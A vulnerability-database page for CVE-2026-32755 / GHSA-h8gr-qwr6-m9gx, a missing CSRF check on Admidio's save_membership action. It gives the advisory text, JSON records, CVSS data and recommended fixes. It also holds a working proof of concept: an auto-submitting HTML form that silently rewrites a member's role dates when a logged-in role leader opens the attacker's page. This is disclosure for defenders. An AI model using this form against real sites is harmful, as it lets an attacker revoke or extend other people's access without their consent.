Vulnerability-Lookup

GHSA-H8GR-QWR6-M9GX

Vulnerability from github – Published: 2026-03-16 21:17 – Updated: 2026-03-20 21:15

Summary

Admidio is Missing CSRF Protection on Role Membership Date Changes

Details

Summary

The save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.

Details

CSRF Check Is Absent for save_membership

File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 40-42

The CSRF guard covers only two of the three mutative modes:

if (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}

The save_membership mode is missing from this array. The handler then proceeds to read dates from $_POST and update the database without any token verification:

} elseif ($getMode === 'save_membership') {
    $postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true));
    $postMembershipEnd   = admFuncVariableIsValid($_POST, 'adm_membership_end_date',   'date', array('requireValue' => true));

    $member = new Membership($gDb);
    $member->readDataByUuid($getMemberUuid);
    $role = new Role($gDb, (int)$member->getValue('mem_rol_id'));

    // check if user has the right to edit this membership
    if (!$role->allowedToAssignMembers($gCurrentUser)) {
        throw new Exception('SYS_NO_RIGHTS');
    }
    // ... validates dates ...
    $role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);
    echo 'success';
}

File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 131-169

The Form Does Generate a CSRF Token (Not Validated)

File: D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php, lines 218-241

The membership date form is created via FormPresenter, which automatically injects an adm_csrf_token hidden field into every form. However, the server-side save_membership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.

Who Can Be Exploited as the CSRF Victim

File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121

The allowedToAssignMembers() check grants write access to: - Any user who is isAdministratorRoles() (role administrators), or - Any user who is a leader of the target role when the role has rol_leader_rights set to ROLE_LEADER_MEMBERS_ASSIGN or ROLE_LEADER_MEMBERS_ASSIGN_EDIT

Role leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.

UUIDs Are Discoverable from HTML Source

The save URL for the membership date form is embedded in the profile page HTML:

/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID>

Any authenticated member who can view a profile page can extract both UUIDs from the page source.

PoC

The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:

<!DOCTYPE html>
<html>
<body onload="document.getElementById('csrf_form').submit()">
  <form id="csrf_form"
        method="POST"
        action="https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>">
    <input type="hidden" name="adm_membership_start_date" value="2000-01-01">
    <input type="hidden" name="adm_membership_end_date"   value="2000-01-02">
  </form>
</body>
</html>

Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).

Note: No adm_csrf_token field is required because the server does not validate it for save_membership.

Impact

Unauthorized membership date manipulation: A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.
Effective access revocation: Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.
Covert escalation: An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.
No administrative approval required: The impact occurs silently on the victim's session with no confirmation dialog or notification email.

Recommended Fix

Fix 1: Add `save_membership` to the existing CSRF validation check

// File: modules/profile/profile_function.php, lines 40-42
if (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}

Fix 2: Use the form-object validation pattern (consistent with other write endpoints)

} elseif ($getMode === 'save_membership') {
    // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)
    $membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
    $formValues = $membershipForm->validate($_POST);

    $postMembershipStart = $formValues['adm_membership_start_date'];
    $postMembershipEnd   = $formValues['adm_membership_end_date'];
    // ... rest of save logic unchanged
}

Severity ?

5.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T21:17:34Z",
    "nvd_published_at": "2026-03-19T23:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `save_membership` action in `modules/profile/profile_function.php` saves changes to a member\u0027s role membership start and end dates but does not validate the CSRF token. The handler checks `stop_membership` and `remove_former_membership` against the CSRF token but omits `save_membership` from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.\n\n## Details\n\n### CSRF Check Is Absent for save_membership\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 40-42\n\nThe CSRF guard covers only two of the three mutative modes:\n\n```php\nif (in_array($getMode, array(\u0027stop_membership\u0027, \u0027remove_former_membership\u0027))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n}\n```\n\nThe `save_membership` mode is missing from this array. The handler then proceeds to read dates from `$_POST` and update the database without any token verification:\n\n```php\n} elseif ($getMode === \u0027save_membership\u0027) {\n    $postMembershipStart = admFuncVariableIsValid($_POST, \u0027adm_membership_start_date\u0027, \u0027date\u0027, array(\u0027requireValue\u0027 =\u003e true));\n    $postMembershipEnd   = admFuncVariableIsValid($_POST, \u0027adm_membership_end_date\u0027,   \u0027date\u0027, array(\u0027requireValue\u0027 =\u003e true));\n\n    $member = new Membership($gDb);\n    $member-\u003ereadDataByUuid($getMemberUuid);\n    $role = new Role($gDb, (int)$member-\u003egetValue(\u0027mem_rol_id\u0027));\n\n    // check if user has the right to edit this membership\n    if (!$role-\u003eallowedToAssignMembers($gCurrentUser)) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n    // ... validates dates ...\n    $role-\u003esetMembership($user-\u003egetValue(\u0027usr_id\u0027), $postMembershipStart, $postMembershipEnd, ...);\n    echo \u0027success\u0027;\n}\n```\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 131-169\n\n### The Form Does Generate a CSRF Token (Not Validated)\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php`, lines 218-241\n\nThe membership date form is created via `FormPresenter`, which automatically injects an `adm_csrf_token` hidden field into every form. However, the server-side `save_membership` handler never retrieves or validates this token. An attacker\u0027s forged form does not need to include the token at all, since the server does not check it.\n\n### Who Can Be Exploited as the CSRF Victim\n\nFile: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 98-121\n\nThe `allowedToAssignMembers()` check grants write access to:\n- Any user who is `isAdministratorRoles()` (role administrators), or\n- Any user who is a leader of the target role when the role has `rol_leader_rights` set to `ROLE_LEADER_MEMBERS_ASSIGN` or `ROLE_LEADER_MEMBERS_ASSIGN_EDIT`\n\nRole leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.\n\n### UUIDs Are Discoverable from HTML Source\n\nThe save URL for the membership date form is embedded in the profile page HTML:\n\n```\n/adm_program/modules/profile/profile_function.php?mode=save_membership\u0026user_uuid=\u003cUUID\u003e\u0026member_uuid=\u003cUUID\u003e\n```\n\nAny authenticated member who can view a profile page can extract both UUIDs from the page source.\n\n## PoC\n\nThe attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody onload=\"document.getElementById(\u0027csrf_form\u0027).submit()\"\u003e\n  \u003cform id=\"csrf_form\"\n        method=\"POST\"\n        action=\"https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership\u0026user_uuid=\u003cVICTIM_USER_UUID\u003e\u0026member_uuid=\u003cMEMBERSHIP_UUID\u003e\"\u003e\n    \u003cinput type=\"hidden\" name=\"adm_membership_start_date\" value=\"2000-01-01\"\u003e\n    \u003cinput type=\"hidden\" name=\"adm_membership_end_date\"   value=\"2000-01-02\"\u003e\n  \u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nExpected result: The target member\u0027s role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).\n\nNote: No `adm_csrf_token` field is required because the server does not validate it for `save_membership`.\n\n## Impact\n\n- **Unauthorized membership date manipulation:** A role leader\u0027s session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member\u0027s active participation.\n- **Effective access revocation:** Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.\n- **Covert escalation:** An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.\n- **No administrative approval required:** The impact occurs silently on the victim\u0027s session with no confirmation dialog or notification email.\n\n## Recommended Fix\n\n### Fix 1: Add `save_membership` to the existing CSRF validation check\n\n```php\n// File: modules/profile/profile_function.php, lines 40-42\nif (in_array($getMode, array(\u0027stop_membership\u0027, \u0027remove_former_membership\u0027, \u0027save_membership\u0027))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n}\n```\n\n### Fix 2: Use the form-object validation pattern (consistent with other write endpoints)\n\n```php\n} elseif ($getMode === \u0027save_membership\u0027) {\n    // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)\n    $membershipForm = $gCurrentSession-\u003egetFormObject($_POST[\u0027adm_csrf_token\u0027]);\n    $formValues = $membershipForm-\u003evalidate($_POST);\n\n    $postMembershipStart = $formValues[\u0027adm_membership_start_date\u0027];\n    $postMembershipEnd   = $formValues[\u0027adm_membership_end_date\u0027];\n    // ... rest of save logic unchanged\n}\n```",
  "id": "GHSA-h8gr-qwr6-m9gx",
  "modified": "2026-03-20T21:15:40Z",
  "published": "2026-03-16T21:17:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-h8gr-qwr6-m9gx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32755"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio is Missing CSRF Protection on Role Membership Date Changes"
}

CVE-2026-32755 (GCVE-0-2026-32755)

Vulnerability from cvelistv5 – Published: 2026-03-19 22:53 – Updated: 2026-03-25 14:52

Title

Admidio is Missing CSRF Protection on Role Membership Date Changes

Summary

Admidio is an open-source user management solution. In versions 5.0.6 and below, the save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader's session can be silently exploited via CSRF to manipulate any member's membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7.

Severity ?

5.7 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M

References

URL

Tags

	https://github.com/Admidio/admidio/security/advis…	x_refsource_CONFIRM
	https://github.com/Admidio/admidio/releases/tag/v5.0.7	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	Admidio	admidio	Affected: < 5.0.7

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32755",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-25T14:51:16.015689Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-25T14:52:11.101Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "admidio",
          "vendor": "Admidio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Admidio is an open-source user management solution. In versions 5.0.6 and below, the save_membership action in modules/profile/profile_function.php saves changes to a member\u0027s role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader\u0027s session can be silently exploited via CSRF to manipulate any member\u0027s membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.7,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-352",
              "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-19T22:53:09.081Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Admidio/admidio/security/advisories/GHSA-h8gr-qwr6-m9gx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-h8gr-qwr6-m9gx"
        },
        {
          "name": "https://github.com/Admidio/admidio/releases/tag/v5.0.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
        }
      ],
      "source": {
        "advisory": "GHSA-h8gr-qwr6-m9gx",
        "discovery": "UNKNOWN"
      },
      "title": "Admidio is Missing CSRF Protection on Role Membership Date Changes"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32755",
    "datePublished": "2026-03-19T22:53:09.081Z",
    "dateReserved": "2026-03-13T18:53:03.532Z",
    "dateUpdated": "2026-03-25T14:52:11.101Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-H8GR-QWR6-M9GX

Summary

Details

CSRF Check Is Absent for save_membership

The Form Does Generate a CSRF Token (Not Validated)

Who Can Be Exploited as the CSRF Victim

UUIDs Are Discoverable from HTML Source

PoC

Impact

Recommended Fix

Fix 1: Add save_membership to the existing CSRF validation check

Fix 2: Use the form-object validation pattern (consistent with other write endpoints)

CVE-2026-32755 (GCVE-0-2026-32755)

Tags

Sightings

Nomenclature

Fix 1: Add `save_membership` to the existing CSRF validation check